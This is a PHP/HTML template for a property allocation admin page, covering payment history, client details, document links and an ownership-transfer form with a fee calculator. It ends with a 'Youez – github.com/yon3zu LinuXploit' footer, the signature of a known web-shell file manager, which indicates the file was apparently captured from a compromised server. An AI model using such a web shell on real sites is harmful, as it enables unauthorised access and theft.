                        <button type="button" class="btn btn-success" onclick="changeAllocationStatus(<?= (int)$allocId ?>,'approved')">
                            <i class="fa-solid fa-circle-check me-2"></i>Approve Allocation
                        </button>
                    <?php endif; ?>
                    <?php if ($canAllocate): ?>
                        <button type="button" class="btn btn-warning" onclick="changeAllocationStatus(<?= (int)$allocId ?>,'allocated')">
                            <i class="fa-solid fa-check-double me-2"></i>Allocate Property
                        </button>
                    <?php endif; ?>
                    <?php if ($transferActionVisible && $canUpdateStatus): ?>
                        <?php if ($hasPendingTransfer || $hasApprovedTransfer): ?>
                            <a class="btn btn-outline-info" href="ownership-transfers.php?id=<?= (int)($transferRow['id'] ?? 0) ?>" target="_blank" rel="noopener">
                                <i class="fa-solid fa-right-left me-2"></i><?= $hasPendingTransfer ? 'Transfer Pending' : 'Transfer Approved' ?>
                            </a>
                        <?php else: ?>
                            <?php if ($transferActionEnabled): ?>
                                <button type="button" class="btn btn-outline-info" data-bs-toggle="modal" data-bs-target="#ownershipTransferModal">
                                    <i class="fa-solid fa-right-left me-2"></i>Transfer Ownership
                                </button>
                            <?php else: ?>
                                <button type="button" class="btn btn-outline-info" disabled title="Transfer is allowed only when allocation status is Active/Allocated">
                                    <i class="fa-solid fa-right-left me-2"></i>Transfer Ownership
                                </button>
                                <div class="small text-muted mt-1">Transfer is available after allocation becomes Active (Allocated). Use Allocate Property first.</div>
                            <?php endif; ?>
                        <?php endif; ?>
                    <?php endif; ?>
                    <a class="btn btn-outline-dark" href="allocation-letters.php?action=preview&allocation_id=<?= (int)$allocId ?>" target="_blank" rel="noopener">
                        <i class="fa-solid fa-print me-2"></i>Print Allocation Letter
                    </a>
                    <?php if ($statusKey === 'revoked'): ?>
                        <?php if ($reallocationHasLink || $reallocationHasDoc): ?>
                            <form action="generate_document.php" method="post" target="_blank" class="d-inline">
                                <input type="hidden" name="doc_type" value="reallocation_letter">
                                <input type="hidden" name="target_id" value="<?= (int)$allocId ?>">
                                <button type="submit" class="btn btn-outline-primary"><i class="fa-solid fa-file-lines me-2"></i>View Reallocation Letter</button>
                            </form>
                        <?php else: ?>
                            <button type="button" class="btn btn-outline-primary" disabled title="Reallocation letter is available after a replacement allocation is created."><i class="fa-solid fa-file-lines me-2"></i>View Reallocation Letter</button>
                        <?php endif; ?>
                    <?php endif; ?>
                </div>
            </div>
            <div class="col-lg-5">
                <div class="row g-3">
                    <div class="col-6">
                        <div class="alloc-kpi p-3 h-100">
                            <div class="alloc-section-title mb-1">Total Price</div>
                            <div class="fw-bold"><?= htmlspecialchars($fmtMoney($total)) ?></div>
                        </div>
                    </div>
                    <div class="col-6">
                        <div class="alloc-kpi p-3 h-100">
                            <div class="alloc-section-title mb-1">Amount Paid</div>
                            <div class="fw-bold text-success"><?= htmlspecialchars($fmtMoney($paid)) ?></div>
                        </div>
                    </div>
                    <div class="col-6">
                        <div class="alloc-kpi p-3 h-100">
                            <div class="alloc-section-title mb-1">Balance</div>
                            <div class="fw-bold text-danger"><?= htmlspecialchars($fmtMoney($balance)) ?></div>
                        </div>
                    </div>
                    <div class="col-6">
                        <div class="alloc-kpi p-3 h-100">
                            <div class="alloc-section-title mb-1">Progress</div>
                            <div class="fw-bold"><?= (int)$percent ?>%</div>
                            <div class="progress-premium mt-2">
                                <div class="progress-bar-premium progress-bar-<?= htmlspecialchars($barTone) ?>" role="progressbar" style="width: <?= (int)$percent ?>%"></div>
                            </div>
                        </div>
                    </div>
                    <div class="col-12">
                        <div class="alloc-kpi p-3">
                            <div class="small text-muted d-flex justify-content-between">
                                <span>Paid (from history)</span>
                                <span class="fw-semibold"><?= htmlspecialchars($fmtMoney($totalPaidFromHistory)) ?></span>
                            </div>
                            <div class="small text-muted d-flex justify-content-between mt-1">
                                <span>Remaining</span>
                                <span class="fw-semibold"><?= htmlspecialchars($fmtMoney(max(0.0, $total - $totalPaidFromHistory))) ?></span>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div class="row g-4">
        <div class="col-lg-7">
            <div class="alloc-section-card p-4 mb-4">
                <div class="d-flex justify-content-between align-items-center mb-3">
                    <div class="alloc-section-title">Payment History</div>
                    <div class="small text-muted">Total paid: <span class="fw-semibold"><?= htmlspecialchars($fmtMoney($totalPaidFromHistory)) ?></span></div>
                </div>
                <div class="table-responsive">
                    <table class="table table-sm align-middle mb-0">
                        <thead class="small text-muted">
                            <tr>
                                <th>Date</th>
                                <th class="text-end">Amount</th>
                                <th>Method</th>
                                <th>Recorded by</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php if (count($payments) === 0): ?>
                                <tr><td colspan="4" class="text-muted fst-italic">No payments recorded</td></tr>
                            <?php else: ?>
                                <?php foreach ($payments as $py): ?>
                                    <?php
                                        $dtRaw = $py['payment_sort_date'] ?? ($py['date'] ?? ($py['payment_date'] ?? ($py['created_at'] ?? '')));
                                        $dt = $dtRaw ? date('Y-m-d', strtotime((string)$dtRaw)) : '';
                                        $method = (string)($py['method'] ?? ($py['payment_method'] ?? '—'));
                                        $who = $py['recorded_by_name'] ?? ($py['approved_by_name'] ?? '—');
                                    ?>
                                    <tr>
                                        <td class="text-muted"><?= htmlspecialchars($dt) ?></td>
                                        <td class="text-end fw-bold"><?= htmlspecialchars($fmtMoney((float)($py['amount'] ?? 0))) ?></td>
                                        <td><?= htmlspecialchars($method) ?></td>
                                        <td><?= htmlspecialchars((string)$who) ?></td>
                                    </tr>
                                <?php endforeach; ?>
                            <?php endif; ?>
                        </tbody>
                    </table>
                </div>
            </div>

            <div class="alloc-section-card p-4">
                <div class="alloc-section-title mb-3">Timeline (Latest First)</div>
                <div class="alloc-timeline">
                    <?php if (count($timeline) === 0): ?>
                        <div class="text-muted fst-italic">No timeline events available</div>
                    <?php else: ?>
                        <?php foreach ($timeline as $ev): ?>
                            <div class="timeline-item done">
                                <div class="timeline-dot"></div>
                                <div class="d-flex justify-content-between">
                                    <div class="fw-bold small">
                                        <i class="fa-solid <?= htmlspecialchars($ev['icon']) ?> text-<?= htmlspecialchars($ev['tone']) ?> me-1"></i>
                                        <?= htmlspecialchars($ev['title']) ?>
                                    </div>
                                    <div class="text-muted small"><?= $ev['when'] ? htmlspecialchars(date('Y-m-d H:i', strtotime((string)$ev['when']))) : '' ?></div>
                                </div>
                                <div class="small text-muted"><?= htmlspecialchars($ev['meta']) ?></div>
                            </div>
                        <?php endforeach; ?>
                    <?php endif; ?>
                </div>
            </div>
        </div>

        <div class="col-lg-5">
            <div class="alloc-section-card p-4 mb-4">
                <div class="alloc-section-title mb-3">Property Details</div>
                <div class="row g-2 small">
                    <div class="col-6 text-muted">Estate</div><div class="col-6 fw-semibold text-end"><?= htmlspecialchars($estateName) ?></div>
                    <?php if (!empty($alloc['building_number'])): ?>
                        <div class="col-6 text-muted">Building No.</div><div class="col-6 fw-semibold text-end"><?= htmlspecialchars((string)$alloc['building_number']) ?></div>
                    <?php endif; ?>
                    <div class="col-6 text-muted">Plot No.</div><div class="col-6 fw-semibold text-end"><?= htmlspecialchars((string)($alloc['plot_number'] ?? 'N/A')) ?></div>
                    <?php if (!empty($alloc['space_size'])): ?>
                        <div class="col-6 text-muted">Space Size</div><div class="col-6 fw-semibold text-end"><?= htmlspecialchars((string)$alloc['space_size']) ?></div>
                    <?php endif; ?>
                    <div class="col-6 text-muted">Size</div><div class="col-6 fw-semibold text-end"><?= htmlspecialchars((string)($alloc['plot_size'] ?? 'N/A')) ?></div>
                    <?php if (!empty($alloc['building_use'])): ?>
                        <div class="col-6 text-muted">Use</div><div class="col-6 fw-semibold text-end"><?= htmlspecialchars((string)$alloc['building_use']) ?></div>
                    <?php endif; ?>
                    <?php if (!empty($alloc['house_type'])): ?>
                        <div class="col-6 text-muted">House Type</div><div class="col-6 fw-semibold text-end"><?= htmlspecialchars((string)$alloc['house_type']) ?></div>
                    <?php endif; ?>
                    <div class="col-6 text-muted">Price</div><div class="col-6 fw-semibold text-end"><?= htmlspecialchars($fmtMoney((float)($alloc['property_price'] ?? 0))) ?></div>
                </div>
            </div>

            <div class="alloc-section-card p-4 mb-4">
                <div class="alloc-section-title mb-3">Client Details</div>
                <div class="row g-2 small">
                    <div class="col-4 text-muted">Name</div><div class="col-8 fw-semibold text-end"><?= htmlspecialchars($clientName) ?></div>
                    <div class="col-4 text-muted">Phone</div><div class="col-8 fw-semibold text-end"><?= htmlspecialchars((string)($alloc['client_phone'] ?? '—')) ?></div>
                    <div class="col-4 text-muted">Email</div><div class="col-8 fw-semibold text-end"><?= htmlspecialchars((string)($alloc['client_email'] ?? '—')) ?></div>
                </div>
            </div>

            <div class="alloc-section-card p-4">
                <div class="d-flex justify-content-between align-items-center mb-3">
                    <div class="alloc-section-title">Documents</div>
                    <?php if (!$__is_readonly): ?>
                        <div class="d-flex gap-2">
                            <a class="btn btn-sm btn-outline-secondary" href="documents.php?open_upload=1&client_id=<?= (int)($alloc['user_id'] ?? 0) ?>&property_id=<?= (int)($alloc['property_id'] ?? 0) ?>&prefill_title=<?= urlencode('Allocation Letter') ?>&prefill_type=allocation_letter" target="_blank" rel="noopener">
                                <i class="fa-solid fa-cloud-arrow-up me-1"></i>Upload Letter
                            </a>
                            <a class="btn btn-sm btn-outline-secondary" href="documents.php?open_upload=1&client_id=<?= (int)($alloc['user_id'] ?? 0) ?>&property_id=<?= (int)($alloc['property_id'] ?? 0) ?>&prefill_title=<?= urlencode('Receipt') ?>&prefill_type=receipt" target="_blank" rel="noopener">
                                <i class="fa-solid fa-cloud-arrow-up me-1"></i>Upload Receipt
                            </a>
                        </div>
                    <?php endif; ?>
                </div>

                <div class="mb-3">
                    <div class="small text-muted fw-semibold mb-2">Allocation Letter</div>
                    <?php if (count($letterDocs) === 0): ?>
                        <div class="text-muted small fst-italic">No allocation letter file found</div>
                    <?php else: ?>
                        <div class="d-flex flex-wrap gap-2">
                            <?php foreach ($letterDocs as $d): ?>
                                <?php $path = (string)($d['file_path'] ?? ''); ?>
                                <?php if ($path !== ''): ?>
                                    <span class="alloc-doc-pill">
                                        <i class="fa-solid fa-file-lines text-primary"></i>
                                        <a href="<?= htmlspecialchars($path) ?>" target="_blank" rel="noopener"><?= htmlspecialchars(basename($path)) ?></a>
                                    </span>
                                <?php endif; ?>
                            <?php endforeach; ?>
                        </div>
                    <?php endif; ?>
                </div>

                <div>
                    <div class="small text-muted fw-semibold mb-2">Receipts</div>
                    <?php if (count($receiptPaths) === 0): ?>
                        <div class="text-muted small fst-italic">No receipt files linked</div>
                    <?php else: ?>
                        <div class="d-flex flex-wrap gap-2">
                            <?php foreach ($receiptPaths as $rp): ?>
                                <span class="alloc-doc-pill">
                                    <i class="fa-solid fa-receipt text-success"></i>
                                    <a href="<?= htmlspecialchars($rp) ?>" target="_blank" rel="noopener"><?= htmlspecialchars(basename($rp)) ?></a>
                                </span>
                            <?php endforeach; ?>
                        </div>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    </div>
</div>

<?php if ($transferActionEnabled && $canUpdateStatus && !$hasPendingTransfer && !$hasApprovedTransfer): ?>
<div class="modal fade transfer-modal" id="ownershipTransferModal" tabindex="-1" aria-labelledby="ownershipTransferLabel" aria-hidden="true">
    <div class="modal-dialog modal-lg modal-dialog-scrollable modal-fullscreen-sm-down">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title d-flex align-items-center gap-2" id="ownershipTransferLabel">
                    <i class="fa-solid fa-right-left"></i>
                    Ownership Transfer
                </h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <form method="post" action="ownership-transfers.php" enctype="multipart/form-data">
                <div class="modal-body">
                    <input type="hidden" name="action" value="create_transfer">
                    <input type="hidden" name="allocation_id" value="<?= (int)$allocId ?>">
                    <div class="alert alert-light border">
                        <div class="fw-semibold">Policy &amp; Compliance</div>
                        <div class="small text-muted">Request remains pending until required documents are uploaded and transfer fees are paid and approved by Finance. Ownership will not change until Admin approves.</div>
                    </div>

                    <div class="row g-3">
                        <div class="col-lg-7">
                            <div class="mb-2 fw-semibold">Transfer Details</div>
                            <div class="mb-3">
                                <label class="form-label">Buyer (New Owner)</label>
                                <select name="buyer_id" class="form-select" required>
                                    <option value="">Select buyer...</option>
                                    <?php foreach ($buyerOptions as $b): ?>
                                        <option value="<?= (int)$b['id'] ?>"><?= htmlspecialchars((string)($b['name'] ?? ('Client #' . (int)$b['id']))) ?><?= !empty($b['email']) ? (' • ' . htmlspecialchars((string)$b['email'])) : '' ?></option>
                                    <?php endforeach; ?>
                                </select>
                            </div>
                            <div class="mb-3">
                                <label class="form-label">Sale Price (₦)</label>
                                <input type="number" id="transferSalePrice" name="sale_price" class="form-control" step="0.01" min="0" required>
                                <div class="form-text">Fee = tiered reallocation fee + 2.5% admin/legal fee (calculated from sale price).</div>
                            </div>

                            <div class="mb-2 fw-semibold">Required Documents</div>
                            <div class="row g-2">
                                <div class="col-md-12">
                                    <div class="upload-card">
                                        <div class="fw-semibold">Deed of Assignment</div>
                                        <div class="small">PDF, JPG, PNG</div>
                                        <input type="file" name="deed_of_assignment" class="form-control mt-2" accept=".pdf,.jpg,.jpeg,.png" required>
                                    </div>
                                </div>
                                <div class="col-md-6">
                                    <div class="upload-card">
                                        <div class="fw-semibold">Seller ID</div>
                                        <div class="small">PDF, JPG, PNG</div>
                                        <input type="file" name="seller_id_doc" class="form-control mt-2" accept=".pdf,.jpg,.jpeg,.png" required>
                                    </div>
                                </div>
                                <div class="col-md-6">
                                    <div class="upload-card">
                                        <div class="fw-semibold">Buyer ID</div>
                                        <div class="small">PDF, JPG, PNG</div>
                                        <input type="file" name="buyer_id_doc" class="form-control mt-2" accept=".pdf,.jpg,.jpeg,.png" required>
                                    </div>
                                </div>
                            </div>
                        </div>

                        <div class="col-lg-5">
                            <div class="mb-2 fw-semibold">Fee Breakdown</div>
                            <div class="transfer-kpi mb-2">
                                <div class="lbl">Reallocation Fee</div>
                                <div class="val" id="feeReallocation">₦0.00</div>
                            </div>
                            <div class="transfer-kpi mb-2">
                                <div class="lbl">Admin/Legal Fee (2.5%)</div>
                                <div class="val" id="feeAdmin">₦0.00</div>
                            </div>
                            <div class="transfer-kpi">
                                <div class="lbl">Total Transfer Fee</div>
                                <div class="val" id="feeTotal">₦0.00</div>
                            </div>
                            <div class="small text-muted mt-2">Payment will be created automatically after submission and must be approved before Admin can approve the transfer.</div>
                        </div>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-light border" data-bs-dismiss="modal">Cancel</button>
                    <button type="submit" class="btn btn-info text-white">Submit Transfer Request</button>
                </div>
            </form>
        </div>
    </div>
</div>
<?php endif; ?>

<script>
document.addEventListener('DOMContentLoaded', function(){
    var priceEl = document.getElementById('transferSalePrice');
    var outRealloc = document.getElementById('feeReallocation');
    var outAdmin = document.getElementById('feeAdmin');
    var outTotal = document.getElementById('feeTotal');
    if (!priceEl || !outRealloc || !outAdmin || !outTotal) return;

    function money(n){
        var v = isFinite(n) ? Number(n) : 0;
        return '₦' + v.toLocaleString(undefined, { minimumFractionDigits: 2, maximumFractionDigits: 2 });
    }
    function calcReallocationFee(sale){
        var sp = Math.max(0, Number(sale) || 0);
        if (sp <= 5000000) return 300000;
        if (sp <= 10000000) return 500000;
        if (sp <= 20000000) return 750000;
        return 1000000;
    }
    function update(){
        var sp = Math.max(0, Number(priceEl.value) || 0);
        var realloc = calcReallocationFee(sp);
        var admin = Math.round(sp * 0.025 * 100) / 100;
        var total = Math.round((realloc + admin) * 100) / 100;
        outRealloc.textContent = money(realloc);
        outAdmin.textContent = money(admin);
        outTotal.textContent = money(total);
    }
    priceEl.addEventListener('input', update);
    update();
});
</script>

<script>
    async function changeAllocationStatus(id, status) {
        const reason = prompt('Enter reason for this status change:');
        if (reason === null) return;
        if (!reason.trim()) return;
        const btns = document.querySelectorAll('button, a.btn');
        btns.forEach(b => b.disabled = true);
        try {
            const res = await fetch('ajax_update_allocation_status.php', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ id: Number(id), status: String(status), reason: String(reason) }),
                credentials: 'same-origin'
            });
            const data = await res.json();
            if (data && data.success) {
                window.location.reload();
            } else {
                alert((data && data.message) ? data.message : 'Failed to update status');
            }
        } catch (e) {
            alert('Network error while updating status');
        } finally {
            btns.forEach(b => b.disabled = false);
        }
    }
</script>

<?php include __DIR__ . '/includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit